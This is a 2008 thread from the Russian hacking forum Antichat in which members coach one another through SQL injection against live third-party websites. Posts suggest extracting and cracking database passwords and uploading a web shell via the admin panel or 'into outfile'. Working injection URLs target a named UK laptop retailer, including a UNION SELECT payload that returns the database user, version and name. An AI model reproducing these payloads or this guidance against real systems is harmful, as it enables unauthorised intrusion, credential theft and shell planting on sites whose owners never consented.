ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
29.07.2008, 15:40
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
s_p_a_m
если экранизируются ковыки, то скуль-запросами не зальёшь. Зато можешь поковырять скрипты, что стоят на сервере, вытянуть пароли из БД, расшифровать, если потребуется и через админку попробовать залить шелл ;-)
|
|
|
29.07.2008, 15:47
|
|
Участник форума
Регистрация: 08.02.2008
Сообщений: 116
Провел на форуме:
1608432
Репутация:
158
|
|
Сообщение от aka PSIH
s_p_a_m
_https://forum.antichat.net/showthread.php?t=34338
выводимых полей нет
|
|
|
|
29.07.2008, 15:53
|
|
Участник форума
Регистрация: 08.02.2008
Сообщений: 116
Провел на форуме:
1608432
Репутация:
158
|
|
Сообщение от o3,14um
s_p_a_m
если экранизируются ковыки, то скуль-запросами не зальёшь. Зато можешь поковырять скрипты, что стоят на сервере, вытянуть пароли из БД, расшифровать, если потребуется и через админку попробовать залить шелл ;-)
каким образом вытянуть пароли ? выводимых полей нет? поделись знаниями, так как я такой скулей первый раз работаю 
|
|
|
|
29.07.2008, 15:57
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
зайди в раздел СТАТЬИ данного форума ;-)
|
|
|
|
29.07.2008, 21:15
|
|
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме:
305110
Репутация:
133
|
|
бред зачем выводимые поля при залитии шелла ??? тебе нужно знать имя хотя бы одной таблицы и установочную директорию если есть filepriv насколь я понял у тебя root тогда лей спокойно через into outfile !
|
|
|
|
30.07.2008, 00:06
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
можно и не знать ни одного имени таблы и лить спокойно можно если ковычки не экранизируются
|
|
|
|
30.07.2008, 11:39
|
|
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме:
305110
Репутация:
133
|
|
Хм не чего не пойму )
http://www.laptopshowcase.co.uk/downloads.php?id=1 and 1=1
http://www.laptopshowcase.co.uk/downloads.php?id=1 and substring(version(),1,1)=4
запросы такого рода проходят а что то типа
http://www.laptopshowcase.co.uk/downloads.php?id=1 order by 1
выдает ошибку типа:
right syntax to use near 'GROUP BY downloads.id
если завершить запрос "--" or "*/" то ошибка такого рода :
"Error performing query: Mixing of GROUP columns (MIN(),MAX(),COUNT()...) with no GROUP columns is illegal if there is no GROUP BY clause"
подскажите в чем проблема ?
|
|
|
|
30.07.2008, 11:45
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
MaSTeR GэN
http://www.laptopshowcase.co.uk/downloads.php?id=-1+union+select+1/*
http://www.laptopshowcase.co.uk/downloads.php?id=-1+union+select+concat_ws(0x3a,user(),version(),dat abase())/*
laptops_main@localhost:4.0.23-standard:laptops_mai
вывод в title
|
|
|
|
30.07.2008, 13:36
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Ладно поф с этим сайтом.А на лаптопы эти забей,их уже тыща человек ломала)
|
|
|
|
30.07.2008, 22:07
|
|
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639
Репутация:
55
|
|
очень странный ответ в MS Access:
http://xxx.com/Detail.asp?ad_id=2968+order+by+1
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Missing semicolon ( ; ) at end of SQL statement.
/adDetail.asp, line 258
кто сталкивался с подобным и что это? |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
